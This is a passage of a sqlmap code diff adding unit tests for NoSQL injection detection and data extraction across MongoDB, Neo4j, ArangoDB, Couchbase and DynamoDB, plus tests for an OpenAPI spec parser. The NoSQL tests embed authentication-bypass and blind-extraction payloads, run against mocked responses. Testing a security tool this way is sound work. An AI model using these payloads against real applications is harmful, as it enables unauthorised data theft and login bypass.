{ni.PLACE.GET: "q=1"} + ni.conf.paramDict = {ni.PLACE.GET: {"q": "1"}} + ni._lastCode = 503 + ni._fetchValue = lambda *a, **k: (time.sleep(0.02) or None) # slow AND blocked/failed + self.assertIsNone(ni._detectWhere("GET", "q")) + finally: + ni._fetchValue = self._fv + ni._lastCode = None + + +class TestNoSqlEnumDump(unittest.TestCase): + """Content-based whole-document dump (e.g. Neo4j keys(u)): enumerate field names then values""" + + DOC = [("id", "1"), ("username", "luther"), ("password", "s3cr3t"), ("role", "admin")] + + def setUp(self): + self._ef, self._fv = ni._enumField, ni._fetchValue + # true (any-match '.*') vs false (never-match sentinel) template must be SEPARABLE so _enumDump + # can calibrate both models; a constant page would (correctly) disable the dump + ni._fetchValue = lambda place, parameter, value: (NOMATCH if ni.NOSQL_SENTINEL in value else MATCH) + names = [name for name, _ in self.DOC] + values = dict(self.DOC) + + def fake(place, parameter, template, payloadFor, strict=False, falseModel=None): + probe = payloadFor("X") # render to inspect the target expression + m = re.search(r"\(u\)\[(\d+)\]", probe) # keys/ATTRIBUTES/OBJECT_NAMES(u)[i] + if m: + index = int(m.group(1)) + return names[index] if index < len(names) else None + m = re.search(r"u\['([^']*)'\]", probe) # toString/TO_STRING/TOSTRING(u['name']) + if m: + return values.get(m.group(1)) + return None + + ni._enumField = fake + + def tearDown(self): + ni._enumField, ni._fetchValue = self._ef, self._fv + + def _check(self, keysExpr, valueExpr): + makePayload = lambda expr, rb: "X' OR %s =~ '^%s.*" % (expr, rb) + columns, rows, bound, complete = ni._enumDump("GET", "password", makePayload, keysExpr, valueExpr) + self.assertEqual(columns, ["id", "username", "password", "role"]) + self.assertEqual(rows, [["1", "luther", "s3cr3t", "admin"]]) + # a constraint-only enum dump is NOT proven single-record -> the dump reports itself unbound + self.assertFalse(bound) + + def test_cypher(self): + self._check(lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % ni._propLiteral(n)) + + def test_aql(self): + self._check(lambda i: "ATTRIBUTES(u)[%d]" % i, lambda n: "TO_STRING(u[%s])" % ni._propLiteral(n)) + + def test_n1ql(self): + self._check(lambda i: "OBJECT_NAMES(u)[%d]" % i, lambda n: "TOSTRING(u[%s])" % ni._propLiteral(n)) + + +class TestNoSqlBypass(unittest.TestCase): + """Confirmed injection must surface the always-true (authentication/filter bypass) payload""" + + def setUp(self): + self._f = ni._fetch + ni._fetch = _mongo + + def tearDown(self): + ni._fetch = self._f + + def test_mongo_bypass(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(vector.dbms, "MongoDB") + self.assertEqual(vector.bypass, '{"$ne": null}') + + +class TestNoSqlInband(unittest.TestCase): + """In-band exposure gate: _inband() returns the always-true response only when it carries + materially more reflected content than the original request""" + + def setUp(self): + self._fv = ni._fetchValue + ni.conf.parameters = {"GET": "id=1"} + + def tearDown(self): + ni._fetchValue = self._fv + + def test_exposure_detected(self): + ni._fetchValue = lambda place, parameter, value: "
    1luther
    " # original (one row) + template = "
    1luther
    2fluffy
    3wu
    " + self.assertEqual(ni._inband("GET", "id", template), template) + + def test_no_exposure_when_not_larger(self): + ni._fetchValue = lambda place, parameter, value: "X" * 200 # original (large) + self.assertIsNone(ni._inband("GET", "id", "Welcome")) # always-true smaller -> no dump + + +class TestNoSqlRecords(unittest.TestCase): + """Reflected responses are parsed into (columns, rows) for a regular table dump""" + + def test_html_table_without_header(self): + page = ("Results:" + "" + "
    1lutherblisset
    2fluffybunny
    ") + columns, rows = ni._records(page) + self.assertEqual(columns, ["column_1", "column_2", "column_3"]) + self.assertEqual(rows, [["1", "luther", "blisset"], ["2", "fluffy", "bunny"]]) + + def test_html_table_with_header(self): + page = "
    iduser
    1luther
    " + columns, rows = ni._records(page) + self.assertEqual(columns, ["id", "user"]) + self.assertEqual(rows, [["1", "luther"]]) + + def test_json_array_of_objects(self): + page = '{"results": [{"id": 1, "username": "luther", "password": null}, {"id": 2, "username": "fluffy"}]}' + columns, rows = ni._records(page) + self.assertEqual(columns, ["id", "username", "password"]) + self.assertEqual(rows, [["1", "luther", "NULL"], ["2", "fluffy", ""]]) + + def test_unstructured_returns_none(self): + self.assertIsNone(ni._records("just some prose, no records here")) + + +def _numeric(place, parameter, value): + # numeric-context Neo4j: 'OR 1=1' is always-true (rows), 'AND 1=2' is false, PLUS the Cypher-only + # STARTS WITH prefix predicate the detector now requires to attribute Neo4j (vs plain SQL) + m = re.search(r"STARTS WITH '([^']*)'", value) + if m: + return MATCH if "ab".startswith(m.group(1)) else NOMATCH + if "OR 1=1" in value: + return MATCH + if "AND 1=2" in value: + return NOMATCH + return MATCH if value == "1" else NOMATCH + + +class TestNoSqlNumeric(unittest.TestCase): + """Numeric-context (unquoted) break-out, e.g. 'WHERE id = ': detected via OR/AND, with the + always-true response carried as the in-band dump template""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _numeric + ni.conf.parameters = {"GET": "id=1"} + ni.conf.paramDict = {"GET": {"id": "1"}} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_numeric(self): + vector = ni._resolve("GET", "id", "id") + self.assertEqual(vector.dbms, "Neo4j") + self.assertEqual(vector.bypass, "1 OR 1=1") + self.assertIsNone(vector.lengthValue) # numeric field -> in-band only, no blind extraction + + def test_skips_non_numeric(self): + ni.conf.parameters = {"GET": "name=luther"} + self.assertIsNone(ni._detectNumeric("GET", "name")) # only applies to a numeric field value + + +def _numericN1ql(place, parameter, value): + # numeric-context Couchbase: OR/AND boolean plus the N1QL-only REGEXP_CONTAINS discriminator + m = re.search(r"REGEXP_CONTAINS\('ab', '([^']*)'\)", value) + if m: + return MATCH if re.search(m.group(1), "ab") is not None else NOMATCH + if "OR 1=1" in value: + return MATCH + if "AND 1=2" in value: + return NOMATCH + return MATCH if value == "1" else NOMATCH + + +class TestNoSqlNumericN1QL(unittest.TestCase): + """A numeric Couchbase point is disambiguated from Neo4j by the N1QL-only REGEXP_CONTAINS probe""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _numericN1ql + ni.conf.parameters = {"GET": "id=1"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_numeric_couchbase(self): + dbms, _, bypass = ni._detectNumeric("GET", "id") + self.assertEqual(dbms, "Couchbase") + self.assertEqual(bypass, "1 OR 1=1") + + +def _numericAql(place, parameter, value): + # numeric-context ArangoDB: the ||/&& family diverges, PLUS the AQL-only two-arg LIKE(text, search) + # function the detector now requires to attribute ArangoDB (SQL's LIKE is an operator, not a function) + m = re.search(r"LIKE\('ab', '([^%]*)%'\)", value) + if m: + return MATCH if "ab".startswith(m.group(1)) else NOMATCH + return MATCH if "|| 1==1" in value else NOMATCH + + +class TestNoSqlNumericAQL(unittest.TestCase): + """A numeric ArangoDB point is detected via the ||/&& family once OR/AND yields no divergence""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _numericAql + ni.conf.parameters = {"GET": "id=1"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_numeric_arango(self): + dbms, _, bypass = ni._detectNumeric("GET", "id") + self.assertEqual(dbms, "ArangoDB") + self.assertEqual(bypass, "1 || 1==1") + + +def _partiql(place, parameter, value): + # DynamoDB PartiQL string-context oracle: 'field >= prefix' matches the bound record iff + # SECRET >= prefix (ordered comparison, the basis of the comparison-bisection extraction); + # 'begins_with(field, prefix)' matches iff SECRET starts with prefix + m = re.search(r">= '(.*)$", value) + if m: + return MATCH if SECRET >= m.group(1).replace("''", "'") else NOMATCH + m = re.search(r"begins_with\([^,]+, '(.*?)'\) OR '1'='2", value) + if m: + return MATCH if SECRET.startswith(m.group(1)) else NOMATCH + return NOMATCH + + +class TestNoSqlPartiQL(unittest.TestCase): + """DynamoDB PartiQL: no regexp engine, so a value is recovered by ordered string comparison + (field >= 'prefix') bisected over the printable-ASCII range""" + + def setUp(self): + self._fv = ni._fetchValue + ni._fetchValue = _partiql + ni.conf.parameters = {"GET": "username=luther&password=x"} + ni.conf.paramDict = {"GET": {"password": "x"}} + + def tearDown(self): + ni._fetchValue = self._fv + + def test_extract(self): + value = ni._partiqlValue("GET", "password", "", "password") + self.assertEqual(value, SECRET) + + def test_dump_binds_sibling(self): + columns, rows, bound, complete = ni._partiqlDump("GET", "password", "password") + self.assertEqual(columns, ["password"]) + self.assertEqual(rows, [[SECRET]]) + + def test_dump_without_sibling_returns_none(self): + ni.conf.parameters = {"GET": "password=x"} # no sibling to pin a single record + ni.conf.paramDict = {"GET": {"password": "x"}} + self.assertIsNone(ni._partiqlDump("GET", "password", "password")) + + +def _numericDdb(place, parameter, value): + # numeric-context DynamoDB: OR/AND boolean plus the PartiQL-only begins_with discriminator + m = re.search(r"begins_with\('ab', '([^']*)'\)", value) + if m: + return MATCH if "ab".startswith(m.group(1)) else NOMATCH + if "OR 1=1" in value: + return MATCH + if "AND 1=2" in value: + return NOMATCH + return MATCH if value == "1" else NOMATCH + + +class TestNoSqlNumericDynamoDB(unittest.TestCase): + """A numeric DynamoDB point is disambiguated from Neo4j/Couchbase by the PartiQL-only begins_with probe""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _numericDdb + ni.conf.parameters = {"GET": "id=1"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_numeric_dynamodb(self): + dbms, _, bypass = ni._detectNumeric("GET", "id") + self.assertEqual(dbms, "DynamoDB") + self.assertEqual(bypass, "1 OR 1=1") + + +class TestNoSqlCookiePlace(unittest.TestCase): + """Cookie place: parameters split/join on ';' (not '&') and the segment routes to the Cookie header""" + + def setUp(self): + ni.conf.cookieDel = None + ni.conf.parameters = {ni.PLACE.COOKIE: "session=abc; username=luther; password=x"} + ni.conf.paramDict = {ni.PLACE.COOKIE: {"password": "x"}} + + def test_delimiter(self): + self.assertEqual(ni._delim(ni.PLACE.COOKIE), ";") + self.assertEqual(ni._delim(ni.PLACE.GET), "&") + + def test_original_value(self): + self.assertEqual(ni._originalValue(ni.PLACE.COOKIE, "username").strip(), "luther") + + def test_replace_segment(self): + out = ni._replaceSegment(ni.PLACE.COOKIE, "password", "password[$ne]=zzz") + self.assertIn("session=abc", out) + self.assertIn("username=luther", out) + self.assertIn("password[$ne]=zzz", out) + self.assertEqual(out.count(";"), 2) # 3 segments -> 2 delimiters (no '&') + self.assertNotIn("&", out) + + def test_constraint_binds_siblings(self): + constraint = ni._constraint(ni.PLACE.COOKIE, "password") + self.assertIn("u.session='abc'", constraint) + self.assertIn("u.username='luther'", constraint) + + def test_constraint_escapes_literal_and_skips_non_identifiers(self): + # a quote/backslash in a sibling value must be escaped (not break out of the string literal), + # and a non-identifier field name must be skipped rather than alter the predicate structure + ni.conf.parameters = {ni.PLACE.GET: "q=x&name=o'brien&weird.field=v&password=p"} + ni.conf.paramDict = {ni.PLACE.GET: {"q": "x"}} + constraint = ni._constraint(ni.PLACE.GET, "q") + self.assertIn("u.name='o\\'brien'", constraint) # single quote escaped + self.assertNotIn("weird.field", constraint) # dotted (non-identifier) name skipped + self.assertIn("u.password='p'", constraint) + + +class TestNoSqlJsonRawReplace(unittest.TestCase): + """Parse-failure JSON fallback: mutate ONLY the target key's value span in a JSON-like body, never + reconstruct it with a form serializer (which would produce unrelated 'name=value&...' content).""" + + def test_double_quoted_value_replaced_in_place(self): + body = '{"name": "luther", "role": "user"}' + out = ni._jsonRawReplace(body, "name", {"$ne": None}) + self.assertEqual(out, '{"name": {"$ne": null}, "role": "user"}') + self.assertIn('"role": "user"', out) # sibling preserved verbatim + + def test_json_like_single_quotes_not_form_serialized(self): + # single-quoted -> json.loads() fails in the real flow; the span replace still works and the + # body stays JSON-shaped (no '&', no 'name=value' reconstruction) + body = "{'name': 'luther', 'active': true}" + out = ni._jsonRawReplace(body, "name", "payload") + self.assertIsNotNone(out) + self.assertIn("'active': true", out) # sibling + JS literal preserved + self.assertNotIn("&", out) + self.assertTrue(out.strip().startswith("{")) # still a JSON object, not form content + + def test_bareword_and_numeric_values(self): + self.assertEqual(ni._jsonRawReplace('{"age": 42}', "age", 7), '{"age": 7}') + self.assertEqual(ni._jsonRawReplace('{"ok": true}', "ok", "x"), '{"ok": "x"}') + + def test_missing_key_returns_none(self): + # key absent -> None so the caller SKIPS the probe rather than corrupt the body + self.assertIsNone(ni._jsonRawReplace('{"other": "v"}', "name", "x")) + + def test_key_like_text_inside_string_is_not_matched(self): + # the reviewer's reproduction: 'name: old' inside the "note" STRING must NOT be mutated - only + # the real "name" property is replaced + body = '{"note":"name: old", "name":"real"}' + out = ni._jsonRawReplace(body, "name", {"$ne": None}) + self.assertEqual(out, '{"note":"name: old", "name":{"$ne": null}}') + self.assertIn('"note":"name: old"', out) # decoy string untouched + + def test_key_like_text_inside_single_quoted_string(self): + body = "{'note':'name: trap', 'name':'real'}" + out = ni._jsonRawReplace(body, "name", "P") + self.assertIn("'note':'name: trap'", out) # decoy untouched + self.assertTrue(out.endswith('"P"}')) # real value replaced + + def test_key_like_text_inside_comment_is_not_matched(self): + body = '{/* name: not here */ "name": "real"}' + out = ni._jsonRawReplace(body, "name", "P") + self.assertIn("/* name: not here */", out) # comment untouched + self.assertIn('"name": "P"', out) + + def test_object_and_array_values_replaced_whole(self): + # an object/array as the original value must be replaced in full, not partially + self.assertEqual(ni._jsonRawReplace('{"f": {"a": 1, "b": [2, 3]}, "g": 9}', "f", "X"), + '{"f": "X", "g": 9}') + self.assertEqual(ni._jsonRawReplace('{"f": [1, {"x": "}"}, 2], "g": 9}', "f", 0), + '{"f": 0, "g": 9}') + + def test_nested_property_located_at_depth(self): + # a nested property (not top-level) is located and replaced without disturbing structure + out = ni._jsonRawReplace('{"outer": {"name": "luther"}}', "name", {"$ne": None}) + self.assertEqual(out, '{"outer": {"name": {"$ne": null}}}') + + def test_brace_inside_string_value_does_not_close_object(self): + # a '}' inside a string value must not end the value token early + out = ni._jsonRawReplace('{"a": "va}lue", "name": "x"}', "name", "P") + self.assertIn('"a": "va}lue"', out) + self.assertIn('"name": "P"', out) + + def test_brace_inside_comment_in_value_does_not_close_object(self): + # reviewer P0-2 reproduction: a '}' inside a COMMENT within an object value closed it early + out = ni._jsonRawReplace('{"f": {/* } */ "a": 1}, "g": 9}', "f", "X") + self.assertEqual(out, '{"f": "X", "g": 9}') + + def test_key_like_text_inside_regex_literal_is_not_matched(self): + # reviewer P0-2 reproduction: 'name:' inside a /regex/ literal must not be taken as the property + out = ni._jsonRawReplace('{pattern: /name: trap/, name: "real"}', "name", "P") + self.assertEqual(out, '{pattern: /name: trap/, name: "P"}') + + def test_regex_with_slash_in_char_class(self): + # a regex value containing '/' inside a [..] class and a '}' must be skipped whole + out = ni._jsonRawReplace('{"re": /[a/}]x/, "name": "y"}', "name", "P") + self.assertIn("/[a/}]x/", out) + self.assertIn('"name": "P"', out) + + def test_backtick_string_is_not_a_key(self): + # a backtick template value containing 'name:' must not be mistaken for the property + out = ni._jsonRawReplace('{"tpl": `name: ${x}`, "name": "z"}', "name", "P") + self.assertIn("`name: ${x}`", out) + self.assertIn('"name": "P"', out) + + def test_regex_value_flags_consumed(self): + # P0-6: a regex value's span must include trailing flags, else a dangling 'i' is left behind + self.assertEqual(ni._jsonRawReplace('{re: /abc/i, name: "x"}', "re", "P"), + '{re: "P", name: "x"}') + + def test_duplicate_key_at_different_depths_is_skipped(self): + # P0-6: with only the leaf key name, an ambiguous body (same key at 2 places) must be SKIPPED, + # never guessed - the payload could otherwise reach the wrong field + self.assertIsNone(ni._jsonRawReplace('{"outer":{"name":"first"},"name":"second"}', "name", "P")) + + def test_single_occurrence_still_mutates(self): + self.assertEqual(ni._jsonRawReplace('{"a":1,"name":"real"}', "name", "P"), '{"a":1,"name":"P"}') + + +class TestNoSqlErrorRegex(unittest.TestCase): + """The heuristic regex must match real back-end error structures, not bare product names (so an + article merely mentioning MongoDB/Elasticsearch/Cassandra is never flagged as injectable)""" + + from lib.core.settings import NOSQL_ERROR_REGEX + + POSITIVES = ( + 'MongoServerError: unknown operator: $foo', + '{"ok":0,"errmsg":"unknown top level operator: $where","code":2,"codeName":"BadValue"}', + 'MongoServerError: Regular expression is invalid: missing )', + 'CastError: Cast to ObjectId failed', + '{"error":"query_parse_error","reason":"Invalid operator: $foo"}', + '{"error":{"root_cause":[{"type":"query_shard_exception","reason":"Failed to parse query [luther\']"}]},"status":400}', + '{"type":"x_content_parse_exception","reason":"[1:18] [bool] failed to parse"}', + '{"error":{"msg":"org.apache.solr.search.SyntaxError: Cannot parse \'username:\'","code":400}}', + "Neo.ClientError.Statement.SyntaxError: Invalid input", + 'Neo4j error: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 30) "MATCH (u:User) WHERE u.id = 1"', + "Neo4j error: Invalid input ''x'': expected an expression, 'FOREACH', 'MATCH', 'MERGE', 'UNWIND', 'WITH' or ", + '{"error":true,"errorNum":1501,"errorMessage":"AQL: syntax error, unexpected quoted string"}', + "ResponseError: line 1:38 no viable alternative at input", + "SyntaxException: line 1:42 mismatched input ''' expecting EOF", + '{"error":{"root_cause":[{"type":"number_format_exception","reason":"For input string"}]},"status":400}', + 'ReplyError: WRONGTYPE Operation against a key holding the wrong kind of value', + 'ReplyError: ERR Error compiling script (new function): user_script:1: unexpected symbol', + 'CLIENT_ERROR bad command line format', + 'error parsing query: found WHERE, expected identifier at line 1', + 'org.apache.phoenix.exception.PhoenixIOException: failed', + ) + + NEGATIVES = ( + "This article explains how MongoDB, CouchDB and Elasticsearch handle queries.", + "Cassandra and Redis are popular NoSQL databases; Neo4j is a graph database.", + "We migrated from Solr to OpenSearch last year. ArangoDB is multi-model.", + "Results:
    1luther
    ", + "Invalid credentials", + ) + + def test_matches_real_errors(self): + for sample in self.POSITIVES: + self.assertIsNotNone(re.search(self.NOSQL_ERROR_REGEX, sample), "should match: %s" % sample) + + def test_ignores_benign_text(self): + for sample in self.NEGATIVES: + self.assertIsNone(re.search(self.NOSQL_ERROR_REGEX, sample), "should NOT match: %s" % sample) + + +class TestNoSqlNoneSafety(unittest.TestCase): + """A blocked/failed request makes _send() return None; the fingerprint/error helpers must not + crash calling .lower() on it.""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *a, **k: None + ni._fetchValue = lambda *a, **k: None + ni.conf.parameters = {"GET": "q=x"} + ni.conf.paramDict = {"GET": {"q": "x"}} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_nosql_failed_fingerprint_does_not_crash(self): + # None responses must not raise (was: 'NoneType' has no attribute 'lower') + self.assertIn(ni._fingerprintMongo("GET", "q"), ("CouchDB", "MongoDB", "MongoDB/CouchDB-compatible operator back-end")) + self.assertIn(ni._fingerprintLucene("GET", "q"), ("Solr", "OpenSearch", "Lucene query_string-compatible back-end")) + self.assertIsNone(ni._detectError("GET", "q")) + + +if __name__ == "__main__": + unittest.main() + diff --git a/tests/test_openapi.py b/tests/test_openapi.py new file mode 100644 index 00000000000..f5ed80b464a --- /dev/null +++ b/tests/test_openapi.py @@ -0,0 +1,475 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the OpenAPI/Swagger target extractor (lib/parse/openapi.py): schema example +synthesis, $ref resolution (incl. cycles), base-URL resolution (v2 + v3, relative/templated servers), +request-body handling (JSON / form), parameter->PLACE mapping, and (importantly) graceful handling of +malformed / poorly-defined specifications (a broken spec must never crash or hang the parser). + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import json +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.parse.openapi import openApiTargets, yaml as _yaml + +HAS_YAML = _yaml is not None + + +def _targets(spec, origin="http://h"): + return openApiTargets(json.dumps(spec) if isinstance(spec, dict) else spec, origin) + +def _byMethodPath(targets): + return dict(("%s %s" % (method, url), (method, url, data, headers)) for url, method, data, headers in targets) + + +class TestOpenApi(unittest.TestCase): + def test_v3_query_path_and_base(self): + spec = {"openapi": "3.0.0", "servers": [{"url": "/api"}], + "paths": {"/pet/{id}": {"get": {"parameters": [ + {"name": "id", "in": "path", "schema": {"type": "integer"}}, + {"name": "q", "in": "query", "schema": {"type": "string", "example": "x"}}]}}}} + targets = _targets(spec, "http://host:8080") + self.assertEqual(len(targets), 1) + url, method, data, headers = targets[0] + self.assertEqual(method, "GET") + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + self.assertEqual(url, "http://host:8080/api/pet/1%s?q=x" % MARK) # relative server + filled+marked path + query + self.assertIsNone(data) + + def test_v3_json_body_sets_data_and_content_type(self): + spec = {"openapi": "3.0.0", "paths": {"/o": {"post": {"requestBody": {"content": {"application/json": + {"schema": {"type": "object", "properties": {"name": {"type": "string"}, "qty": {"type": "integer"}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual(method, "POST") + self.assertEqual(json.loads(data), {"name": "1", "qty": 1}) + self.assertIn(("Content-Type", "application/json"), headers) + + def test_form_urlencoded_body(self): + spec = {"openapi": "3.0.0", "paths": {"/login": {"post": {"requestBody": {"content": + {"application/x-www-form-urlencoded": {"schema": {"type": "object", + "properties": {"u": {"type": "string"}, "p": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual(sorted(data.split("&")), ["p=1", "u=1"]) + + def test_value_synthesis(self): + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "a", "in": "query", "schema": {"type": "integer"}}, + {"name": "b", "in": "query", "schema": {"type": "boolean"}}, + {"name": "c", "in": "query", "schema": {"type": "string", "enum": ["first", "second"]}}, + {"name": "d", "in": "query", "schema": {"type": "string", "default": "dd"}}, + {"name": "e", "in": "query", "schema": {"type": "string", "format": "uuid"}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("a=1", url) + self.assertIn("b=true", url) + self.assertIn("c=first", url) # enum[0] + self.assertIn("d=dd", url) # default + self.assertIn("e=11111111-1111-1111-1111-111111111111", url) # format uuid + + def test_ref_resolution_and_allof_oneof(self): + spec = {"openapi": "3.0.0", + "components": {"schemas": {"Tag": {"type": "object", "properties": {"n": {"type": "string"}}}}}, + "paths": { + "/ref": {"post": {"requestBody": {"content": {"application/json": {"schema": {"$ref": "#/components/schemas/Tag"}}}}}}, + "/all": {"post": {"requestBody": {"content": {"application/json": {"schema": {"allOf": [ + {"type": "object", "properties": {"x": {"type": "string"}}}, + {"type": "object", "properties": {"y": {"type": "integer"}}}]}}}}}}, + "/one": {"post": {"requestBody": {"content": {"application/json": {"schema": {"oneOf": [ + {"type": "object", "properties": {"only": {"type": "string"}}}, + {"type": "object", "properties": {"other": {"type": "string"}}}]}}}}}}}} + m = _byMethodPath(_targets(spec)) + self.assertEqual(json.loads(m["POST http://h/ref"][2]), {"n": "1"}) + self.assertEqual(json.loads(m["POST http://h/all"][2]), {"x": "1", "y": 1}) # allOf merged + self.assertEqual(json.loads(m["POST http://h/one"][2]), {"only": "1"}) # oneOf -> first + + def test_ref_cycle_terminates(self): + spec = {"openapi": "3.0.0", + "components": {"schemas": {"Node": {"type": "object", "properties": { + "name": {"type": "string"}, "parent": {"$ref": "#/components/schemas/Node"}}}}}, + "paths": {"/n": {"post": {"requestBody": {"content": {"application/json": + {"schema": {"$ref": "#/components/schemas/Node"}}}}}}}} + targets = _targets(spec) # must not hang / recurse forever + self.assertEqual(len(targets), 1) + self.assertTrue(json.loads(targets[0][2]).get("name") == "1") + + def test_swagger_v2_base_and_body(self): + spec = {"swagger": "2.0", "host": "api.example.com", "basePath": "/v2", "schemes": ["https"], + "paths": {"/pet": {"post": {"parameters": [{"name": "b", "in": "body", + "schema": {"type": "object", "properties": {"id": {"type": "integer"}}}}]}}}} + url, method, data, headers = _targets(spec, None)[0] + self.assertEqual(url, "https://api.example.com/v2/pet") + self.assertEqual(json.loads(data), {"id": 1}) + + def test_server_template_variables(self): + spec = {"openapi": "3.0.0", "servers": [{"url": "https://{env}.x.io/{ver}", + "variables": {"env": {"default": "prod"}, "ver": {"default": "v3"}}}], + "paths": {"/p": {"get": {}}}} + self.assertEqual(_targets(spec, None)[0][0], "https://prod.x.io/v3/p") + + def test_headers_are_hashable_tuples(self): + # kb.targets is an OrderedSet, so the emitted headers must be hashable (tuple, not list) + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "h", "in": "header", "schema": {"type": "string"}}]}}}} + headers = _targets(spec)[0][3] + self.assertTrue(headers is None or isinstance(tuple(headers), tuple)) + + def test_header_and_cookie_params_are_injection_marked(self): + # header/cookie params get the custom injection mark ('*') appended so they become testable + # (custom) injection points (query/body params are still auto-tested alongside them) + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "X-Api", "in": "header", "schema": {"type": "string", "example": "k"}}, + {"name": "sess", "in": "cookie", "schema": {"type": "string", "example": "v"}}]}}}} + headers = dict(_targets(spec)[0][3]) + self.assertEqual(headers["X-Api"], "k" + MARK) + self.assertEqual(headers["Cookie"], "sess=v" + MARK) + + def test_tag_filter_restricts_operations(self): + # '--openapi-tags' keeps only operations declaring at least one requested tag; untagged + # operations are dropped when a filter is active + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.test"}], "paths": { + "/users/{id}": {"get": {"tags": ["users"], "parameters": [{"name": "id", "in": "path", "schema": {"type": "integer"}}]}}, + "/admin": {"post": {"tags": ["admin"], "parameters": [{"name": "q", "in": "query", "schema": {"type": "string"}}]}}, + "/ping": {"get": {"parameters": [{"name": "x", "in": "query", "schema": {"type": "string"}}]}}}} + content = json.dumps(spec) + + self.assertEqual(len(openApiTargets(content)), 3) # no filter -> everything + self.assertEqual(len(openApiTargets(content, tags=["nope"])), 0) # no match -> nothing (incl. untagged) + + users = openApiTargets(content, tags=["users"]) + self.assertEqual(len(users), 1) + self.assertIn("/users/", users[0][0]) + + both = openApiTargets(content, tags=["users", "admin"]) # union of tags + self.assertEqual(sorted(_[1] for _ in both), ["GET", "POST"]) + + # --- graceful degradation: a broken/poorly-defined spec must never crash the parser --- + + def test_malformed_raises_valueerror(self): + for bad in ("{not json,,,", "[1,2,3]", "{}", '{"openapi":"3.0.0"}', '{"openapi":"3.0.0","paths":[1,2]}'): + self.assertRaises(ValueError, openApiTargets, bad, "http://h") + + def test_malformed_servers_do_not_crash(self): + for servers in ('{"url":"/a"}', '"http://h"', "[]"): + spec = '{"openapi":"3.0.0","servers":%s,"paths":{"/x":{"get":{}}}}' % servers + self.assertEqual(len(openApiTargets(spec, "http://h")), 1) # no crash, still one target + + def test_url_and_body_values_are_encoded(self): + # special characters in synthesized values must be percent-encoded so they can not break the + # URL structure (param smuggling) or the form body + spec = {"openapi": "3.0.0", "paths": { + "/x/{p}": {"get": {"parameters": [ + {"name": "p", "in": "path", "schema": {"type": "string", "example": "a/b"}}, + {"name": "q", "in": "query", "schema": {"type": "string", "example": "a b&c=d"}}]}}, + "/f": {"post": {"requestBody": {"content": {"application/x-www-form-urlencoded": + {"schema": {"type": "object", "properties": {"u": {"type": "string", "example": "a b&x"}}}}}}}}}} + byMethod = dict((method, (url, data)) for url, method, data, headers in _targets(spec)) + getUrl = byMethod["GET"][0] + self.assertIn("/x/a%2Fb", getUrl) # path value '/' encoded (no extra segment) + self.assertIn("q=a%20b%26c%3Dd", getUrl) # query value space/&/= encoded (no smuggling) + self.assertNotIn(" ", getUrl) + self.assertEqual(byMethod["POST"][1], "u=a%20b%26x") + + @unittest.skipUnless(HAS_YAML, "pyyaml not available") + def test_yaml_spec(self): + y = ("openapi: 3.0.0\n" + "paths:\n" + " /y:\n" + " get:\n" + " parameters:\n" + " - name: q\n" + " in: query\n" + " schema: {type: string, example: hi}\n") + targets = openApiTargets(y, "http://h") + self.assertEqual(len(targets), 1) + self.assertEqual(targets[0][0], "http://h/y?q=hi") + + def test_shared_recursive_refs_scale(self): + # a self-referential schema reused across many operations must terminate promptly (depth cap + + # per-$ref memoization); without them this would blow up exponentially and hang the test + schemas = {"Node": {"type": "object", "properties": { + "name": {"type": "string"}, + "child": {"$ref": "#/components/schemas/Node"}, + "list": {"type": "array", "items": {"$ref": "#/components/schemas/Node"}}}}} + paths = dict(("/n%d" % i, {"post": {"requestBody": {"content": {"application/json": + {"schema": {"$ref": "#/components/schemas/Node"}}}}}}) for i in range(60)) + targets = _targets({"openapi": "3.0.0", "components": {"schemas": schemas}, "paths": paths}) + self.assertEqual(len(targets), 60) + self.assertEqual(json.loads(targets[0][2]).get("name"), "1") + + def test_swagger_v2_formdata_body(self): + # in:"formData" params must become a urlencoded body (previously dropped -> empty POST) + spec = {"swagger": "2.0", "host": "h", "paths": {"/l": {"post": {"parameters": [ + {"name": "u", "in": "formData", "type": "string"}, + {"name": "p", "in": "formData", "type": "string"}]}}}} + url, method, data, headers = _targets(spec, None)[0] + self.assertEqual(method, "POST") + self.assertEqual(sorted(data.split("&")), ["p=1", "u=1"]) + + def test_relative_base_is_skipped(self): + # a spec that yields no scheme/host (relative server + no origin) must be skipped, not emitted + spec = {"openapi": "3.0.0", "servers": [{"url": "/api"}], "paths": {"/x": {"get": {}}}} + self.assertEqual(openApiTargets(json.dumps(spec), None), []) # relative -> skipped + 